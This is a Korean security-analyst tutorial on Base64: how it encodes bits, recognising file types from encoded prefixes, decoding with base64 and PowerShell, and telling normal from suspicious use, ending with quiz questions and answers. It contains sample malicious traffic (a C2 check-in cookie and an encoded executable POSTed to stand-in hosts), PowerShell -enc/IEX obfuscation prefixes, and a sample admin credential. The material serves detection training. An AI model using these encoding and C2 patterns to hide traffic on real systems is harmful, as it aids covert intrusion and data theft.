Base64 — 원리, 알아보기, 수상한 Base64¶
이 페이지에서 다루는 것
Base64가 왜 생겼고(이메일이 아무 바이트나 못 나르던 시절), 비트 단위로 어떻게 바뀌는지 직접 계산해 보고, 패딩 =의 의미, 생김새로 알아보는 법과 앞글자만 보고 원래 파일 종류를 짐작하는 표, 디코딩 명령, 정상적으로 Base64를 쓰는 곳(JWT, Basic 인증, data URI, ViewState)과 수상한 곳을 가르는 판단법을 다룹니다. 마지막에 확인 문제와 해설이 있습니다.
표기
[보충] = 꼭 알아야 할 실무 보충, [변경됨]/[주의] = 최근 바뀐 점과 옛 방식대로 하면 위험한 점. Base64가 실제로 나왔던 사례는 POST 악용, 쿠키에 숨은 C2에 있습니다.
한눈에 보는 핵심 8가지¶
- Base64는 아무 바이트든 인쇄 가능한 글자로 바꾸는 포장 방식이다. 암호화가 아니다. 누구나 바로 푼다.
- 쓰는 글자는
A-Z a-z 0-9 + /64개와 패딩=(URL용은+ /대신- _). - 원리: 8비트씩 이어 붙인 비트를 6비트씩 다시 잘라 64글자 표로 바꾼다. 3바이트 → 4글자.
- 끝의
=한두 개는 길이를 맞추는 패딩이다. 보이면 Base64일 가능성이 아주 높다(없을 수도 있다). - 앞글자로 정체를 짐작한다.
TVqQ= 실행 파일,H4sI= gzip,UEsDB= ZIP·오피스 문서,JVBERi0= PDF,eyJ= JSON(JWT),SQBFAFgA= PowerShell의IEX. - 정상 웹도 Base64를 많이 쓴다. 판단 질문은 "여기서 굳이 왜 인코딩했지?"다.
- Base64 하나로는 판정하지 않는다. 필요 없는 곳의 Base64 + 수상한 호스트 + 이상한 User-Agent처럼 겹칠 때 의심한다.
- 풀었는데 알아볼 수 없는 바이트가 나와도 정상이라는 뜻이 아니다. 암호화한 뒤 Base64로 포장했을 수 있다.
왜 생겼나¶
옛날 이메일(SMTP) 표준은 0~127 값의 바이트만 나를 수 있었습니다. 그런데 사진이나 프로그램 파일은 0~255의 모든 바이트 값을 씁니다. 그냥 보내면 중간에서 깨집니다. 그렇다고 0~127을 다 쓸 수도 없었습니다. 그중에는 줄바꿈, 종소리(벨) 같은 눈에 보이지 않는 제어 문자가 섞여 있어서, 지나가는 장비마다 다르게 해석할 수 있었기 때문입니다.
그래서 어떤 장비도 헷갈리지 않는 안전한 글자 64개만 골라, 모든 데이터를 그 글자들로 바꿔 쓰기로 했습니다. 이것이 Base64입니다. 비유하면 어떤 우체국에서도 통하는 64개 기호만으로 편지를 다시 적는 것입니다. 내용은 그대로고 글자 모양만 바뀝니다. 그래서 암호가 아니라 포장입니다.
지금은 이메일 첨부 파일뿐 아니라 웹의 쿠키, POST 값, 인증 토큰 등 곳곳에서 쓰입니다. 정상 웹 애플리케이션도 많이 쓰고, 악성코드도 파일 전송과 C2에 많이 씁니다. 그래서 분석가는 보면 바로 알아보고, 어울리지 않는 곳에 있으면 의심할 수 있어야 합니다.
원리: 비트로 직접 바꿔 보기¶
규칙은 세 단계입니다.
- 원래 데이터를 8비트(1바이트)씩 이어 붙인다
- 그 비트 줄을 6비트씩 다시 자른다(6비트 = 0~63, 정확히 64가지)
- 각 6비트 값을 아래 표의 글자로 바꾸고, 길이가 모자라면
=로 채운다
| 6비트 값 | 글자 |
|---|---|
| 0 ~ 25 | A ~ Z |
| 26 ~ 51 | a ~ z |
| 52 ~ 61 | 0 ~ 9 |
| 62 | + |
| 63 | / |
| (패딩) | = |
예 1: AZ → QVo=
Text: A Z
ASCII hex: 0x41 0x5A
8-bit: 01000001 01011010
Joined: 0100000101011010 + 00 (pad bits)
6-bit: 010000 010101 101000
Decimal: 16 21 40
Base64: Q V o =
A는 0x41 =01000001,Z는 0x5A =01011010- 이어 붙이면 16비트. 6의 배수가 아니라서 뒤에
0두 개를 채워 18비트로 만듦 - 6비트씩 자르면 16, 21, 40 → 표에서
Q,V,o - 원래는 3바이트(24비트) 단위로 4글자가 나와야 하는데 2바이트뿐이라 한 글자가 모자람 →
=하나로 채움
예 2: 패딩이 생기는 규칙
- 3바이트 = 24비트 = 6비트 4개로 딱 떨어짐 → 패딩 없음
- 1바이트 모자라면
=하나, 2바이트 모자라면== - 그래서 Base64 글자 수는 항상 4의 배수(패딩 포함)이고, 크기는 원래보다 약 1.33배(3바이트 → 4글자)
생김새로 알아보기¶
다음 특징이 겹치면 Base64일 가능성이 높습니다.
- 글자가 전부
A-Z a-z 0-9 + /(또는 URL용- _) 안에 있음 - 끝이
=나==로 끝남(없는 경우도 많음 — 원래 길이가 3의 배수면 패딩이 없음) - 길이가 4의 배수
- 사람이 읽는 단어 없이 대소문자와 숫자가 고르게 섞임
[보충] 앞글자로 원래 정체 짐작하기. 파일은 맨 앞이 늘 같은 매직 바이트로 시작하므로, Base64로 바꿔도 앞 몇 글자가 늘 같습니다. 이걸 외워 두면 풀어 보기 전에 정체를 짐작할 수 있습니다.
| Base64 앞부분 | 원래 앞부분 | 정체 |
|---|---|---|
TVqQ |
MZ + 90 00 |
윈도우 실행 파일(EXE, DLL) |
H4sI |
1F 8B 08 |
gzip 압축 |
UEsDB |
PK 03 04 |
ZIP(.docx, .xlsx, .jar도 속은 ZIP) |
JVBERi0 |
%PDF- |
|
iVBORw0KGgo |
89 PNG |
PNG 그림 |
eyJ |
{" |
JSON — 흔히 JWT 토큰 |
SQBFAFgA |
I E X(UTF-16LE) |
PowerShell IEX(받아 온 걸 명령으로 실행) |
예를 들어 POST 본문이 TVqQAAMAAAAEAAAA//8AAA...로 시작한다면, 풀어 보지 않아도 실행 파일을 통째로 보내고 있다는 뜻입니다.
풀어 보기¶
$ echo 'aG9zdD1XUy0wMjMxO3VzZXI9YS5uZ3V5ZW47YXY9RGVmZW5kZXI=' | base64 -d
host=WS-0231;user=a.nguyen;av=Defender
echo '...'— Base64 문자열을 출력| base64 -d— 파이프(|)로 넘겨base64명령의 디코드(-d) 기능으로 풂- 결과: PC 이름, 사용자, 설치된 백신 이름 — 전형적인 감염 PC 체크인 정보
윈도우 PowerShell에서는 이렇게 풉니다.
PS> [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('Y21kPW9rO3NsZWVwPTYwMA=='))
cmd=ok;sleep=600
[Convert]::FromBase64String('...')— Base64를 바이트로 풂[Text.Encoding]::UTF8.GetString(...)— 바이트를 글자로 바꿈- 결과: "명령 없음, 600초 뒤 다시 연락" — C2 서버의 응답 모양
웹 도구로는 CyberChef의 "From Base64"가 편하고, 여러 번 겹친 인코딩(Base64 안에 gzip 안에 또 Base64)을 차례로 벗길 때 특히 좋습니다. 푼 결과가 실행 파일이면 실행하지 말고 해시만 계산해 조회하거나 격리 환경에서 분석합니다.
[보충] PowerShell 인코딩 명령은 UTF-16LE. PowerShell의 -EncodedCommand(-enc)에 들어가는 Base64는 글자당 2바이트인 UTF-16LE로 인코딩돼 있습니다. 그래서 풀면 글자 사이에 00 바이트가 끼어 I.E.X.처럼 보입니다. 풀 때는 UTF-8이 아니라 UTF-16LE([Text.Encoding]::Unicode)로 바꿔야 제대로 읽힙니다. 앞글자 SQBFAFgA(= IEX)나 JABzAD0A(= $s=)처럼 A가 하나 건너 하나씩 끼어 있는 모양이 특징입니다.
정상 Base64와 수상한 Base64¶
정상적으로 Base64를 쓰는 곳¶
| 위치 | 예 | 메모 |
|---|---|---|
| 이메일 첨부(MIME) | Content-Transfer-Encoding: base64 |
원래 용도 |
| 인증 토큰(JWT) | Authorization: Bearer eyJhbGciOi... |
점(.)으로 나뉜 세 덩어리. 앞 두 덩어리는 누구나 풀어 읽을 수 있음 |
| HTTP Basic 인증 | Authorization: Basic YWRtaW46... |
풀면 아이디:비밀번호 그대로. 암호화 아님 |
| 웹 페이지 속 그림 | src="data:image/png;base64,iVBORw0KGgo..." |
작은 그림을 페이지에 직접 넣음 |
| ASP.NET 폼 상태 | __VIEWSTATE=/wEPDwUK... |
서버가 서명해 둔 값. 서명 키를 훔치면 위조 가능 |
| 쿠키·세션 값 | 각종 웹 프레임워크 | 흔함 |
[주의] Basic 인증은 사실상 평문입니다. Authorization: Basic 뒤의 값은 아이디와 비밀번호를 콜론으로 이어 Base64로 바꾼 것뿐이라 누구나 풉니다. http(암호화 없음)로 이 헤더가 오가거나, 이 헤더가 로그에 남으면 비밀번호가 그대로 노출된 것입니다.
수상한 Base64를 가르는 질문¶
Base64는 정상에서도 흔하므로, "여기에 Base64가 있다"만으로는 아무것도 확정되지 않습니다. 대신 이렇게 묻습니다.
- "여기서 굳이 왜 인코딩했지?" — POST로 보내는 일반 데이터는 대부분 인코딩 없이 보내도 됩니다. 일부러 감쌌다면 숨길 이유가 있을 수 있습니다.
- 목적지는 믿을 만한가? — 처음 보는 도메인, 새로 만든 도메인, IP 직접 접속
- User-Agent는 정상인가? — 브라우저가 아니거나, 오래됐거나, 이상한 값
- 반복되는가? — 같은 모양의 Base64가 일정한 간격으로 오가는가(비콘)
예를 들어 두 요청을 보겠습니다.
GET /news/list.asp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.weekly-digest-mail.example
Cookie: sid=aG9zdD1XUy0wMjMxO3VzZXI9YS5uZ3V5ZW47YXY9RGVmZW5kZXI=
POST /cgi/stat.php HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Win32)
Host: two-rabbits-cdn.example
Content-Length: 1484
TVqQAAMAAAAEAAAA//8AAAC4AAAAAAAAAEAAAAAA...
1번 요청:
- 쿠키에 Base64 — 그 자체로는 "그럴 수도"
- 풀면
host=WS-0231;user=a.nguyen;av=Defender→ 세션 ID가 아니라 PC·사용자·백신 정보 - User-Agent는 IE6 + 윈도우 XP(
NT 5.1) — 2026년에 있을 수 없음 - 호스트도 낯섦 → 세 가지가 겹쳐 강한 의심
2번 요청:
- POST 본문 Base64 — "왜 굳이?"
- 앞글자
TVqQ→ 실행 파일을 올리거나 내리는 중(감염 PC가 받은 도구를 되돌려 보내거나, 다음 단계 페이로드) - User-Agent
Mozilla/5.0 (compatible; Win32)— 실제 브라우저에 없는 짧은 가짜 값 - 호스트도 낯섦
공격자가 Base64를 쓰는 이유는 두 가지입니다. 바이너리 데이터를 텍스트 통로(HTTP, SMTP)로 나를 수 있고, 글자 그대로 찾는 시그니처 탐지(예: 본문에 MZ나 cmd.exe가 있으면 경보)를 피할 수 있기 때문입니다. MITRE ATT&CK에서는 T1132.001(Data Encoding: Standard Encoding)으로 분류되며, 수많은 공격 그룹과 도구가 이 기법을 씁니다. Base64는 HTTP 밖에서도 흔합니다. 엔드포인트의 수상한 명령줄(PowerShell -enc)에서 다시 만나게 됩니다.
풀었는데 알아볼 수 없다면? 공격자는 데이터를 먼저 암호화하고 그다음 Base64로 포장하는 경우가 많습니다. 그러면 풀어도 무작위 바이트만 나옵니다. 그래도 "정상 Base64로 풀렸다"는 사실은 확인한 것이고, 무작위처럼 보이는 내용(높은 엔트로피) 자체가 "암호화된 무언가를 보내고 있다"는 단서입니다.
2026년 관점¶
[2026 현재] 그대로 유효한 것
Base64의 원리, 알아보는 법, "인코딩은 암호화가 아니다", "왜 여기서 인코딩했나를 묻고 다른 신호와 묶어 판단하라"는 그대로입니다. 지금도 C2, 데이터 유출, PowerShell 명령 난독화에서 가장 흔한 인코딩입니다.
[변경됨] 바뀐 것
- 겹겹이 포장하는 게 기본입니다. 요즘 악성코드는 Base64만 쓰기보다 XOR·AES 암호화 뒤에 Base64를 씌우거나, 글자 표 순서를 바꾼 커스텀 Base64, Base32·Base85·16진수 등을 섞습니다. 표준 디코딩이 실패하거나 결과가 깨져도 "인코딩이 아니다"로 단정하지 않습니다(ATT&CK T1132.002 Non-Standard Encoding).
- JWT가 어디에나 있습니다. 클라우드·SaaS·API 인증이 JWT로 이뤄져 로그에
eyJ...가 흔합니다. JWT의 앞 두 덩어리(헤더·내용)는 누구나 풀어 읽을 수 있고, 토큰 자체가 출입증이라 로그에 남은 JWT는 탈취 대상이 됩니다. - 도구가 자동으로 풀어 줍니다. 많은 NDR·SIEM·EDR이 Base64를 자동으로 풀어서 그 안을 다시 검사하고, PowerShell 스크립트 블록 로그(이벤트 4104)는 실행 시점의 풀린 명령을 남깁니다.
- ViewState 위조 공격이 다시 주목받았습니다. ASP.NET의 Base64
__VIEWSTATE는 서버 서명 키(MachineKey)로 보호되는데, 2025년 SharePoint "ToolShell" 공격처럼 키를 훔치면 악성 ViewState를 위조해 원격 코드 실행을 할 수 있습니다(웹 서버 2026년 관점).
[주의] 지금 그대로 하면 틀리거나 위험한 것
- Base64가 보인다고 바로 악성으로 판정하지 않습니다. 정상 사용처가 아주 많습니다.
- 반대로 "풀어 봤는데 이상한 바이트라 아무것도 아니다"라고 넘기지 않습니다. 암호화 + Base64일 수 있습니다.
- Basic 인증·JWT가 든 로그를 함부로 공유하지 않습니다. 풀면 비밀번호나 유효한 출입증이 나옵니다. 보고서에는 값을 가려서 씁니다.
- 푼 결과가 실행 파일이나 스크립트면 실행하지 않습니다. 해시 조회나 격리 환경 분석만 합니다.
확인 문제¶
문제 1¶
다음 네 문자열은 각각 원래 무엇일 가능성이 높습니까? 풀지 말고 앞글자만으로 답해 보세요.
A: TVqQAAMAAAAEAAAA//8AAAC4AAAA...
B: H4sIAAAAAAAA/+y9B2AcSZYlJi9t...
C: JVBERi0xLjcKJeLjz9MKMSAwIG9i...
D: eyJhbGciOiJIUzI1NiIsInR5cCI6...
정답과 해설
- A — 윈도우 실행 파일(EXE/DLL).
TVqQ는MZ+90 00의 Base64. 실행 파일을 통째로 나르고 있다는 뜻 - B — gzip 압축 데이터.
H4sI는 gzip의1F 8B 08. 풀고 나서 압축도 풀어야 내용이 나옴 - C — PDF 문서.
JVBERi0는%PDF- - D — JSON, 흔히 JWT 토큰.
eyJ는{".alg,typ이 보이면 JWT 헤더
앞글자 표를 외워 두면 로그를 훑으며 "여기 실행 파일이 지나간다"를 바로 알아챌 수 있습니다.
문제 2¶
사내 웹 애플리케이션으로 가는 요청 로그에서 이 헤더를 발견했습니다. 접속은 http://(암호화 없음)였습니다. 무엇이 문제입니까?
정답과 해설
Basic 인증 값은 아이디:비밀번호를 Base64로 바꾼 것뿐입니다. 풀면 admin:Summer2026! — 관리자 계정의 아이디와 비밀번호가 그대로 나옵니다.
문제는 세 가지입니다.
http라 네트워크를 지나는 동안 누구나 볼 수 있었습니다(엽서처럼).- 이 헤더가 로그에 남아 있다면 로그를 볼 수 있는 모든 사람·시스템에 비밀번호가 노출된 것입니다.
Summer2026!처럼 계절+연도 형태의 약한 비밀번호는 비밀번호 스프레이 공격에 잘 걸립니다.
대응: 그 비밀번호를 즉시 바꾸고, 앱을 https로 옮기고, 가능하면 Basic 인증 대신 회사 SSO 같은 더 안전한 인증으로 바꾸고, 로그에서 그 헤더 값을 마스킹합니다. 이 계정이 다른 곳에서 로그인한 기록도 확인합니다.
문제 3¶
수상한 호스트로 큰 POST가 나갔고, 본문 전체가 Base64였습니다. 풀어 보니 사람이 읽을 수 있는 글자도, 알려진 파일의 매직 바이트도 없이 무작위 바이트만 나왔습니다. 동료가 "Base64가 아니었거나 그냥 쓰레기 데이터야"라고 합니다. 맞습니까?
정답과 해설
맞지 않습니다. 정상적으로 풀렸다면 Base64인 것은 맞습니다. 풀린 결과가 무작위 바이트라는 건 데이터를 먼저 암호화(또는 압축·XOR)한 뒤 Base64로 포장했을 가능성이 큽니다. 공격자가 자주 쓰는 방식입니다. 무작위처럼 보이는 높은 엔트로피 자체가 "암호화된 무언가가 나가고 있다"는 단서입니다.
다음으로 할 일:
- 다른 신호와 묶기 — 목적지 평판·나이, User-Agent, 반복 주기, 같은 목적지로 나간 총량
- 크기 보기 — Base64는 원래의 약 1.33배이므로, 원래 데이터 양을 추정해 유출 규모를 가늠
- 호스트 쪽 확인 — 그 시각에 어떤 프로세스가 연결했는지(Sysmon Event ID 3), 직전에 큰 파일 압축(예: 7-Zip,
rar.exe)이나 대량 파일 읽기가 있었는지 - 유출로 보이면 데이터 유출 대응 절차로 넘어감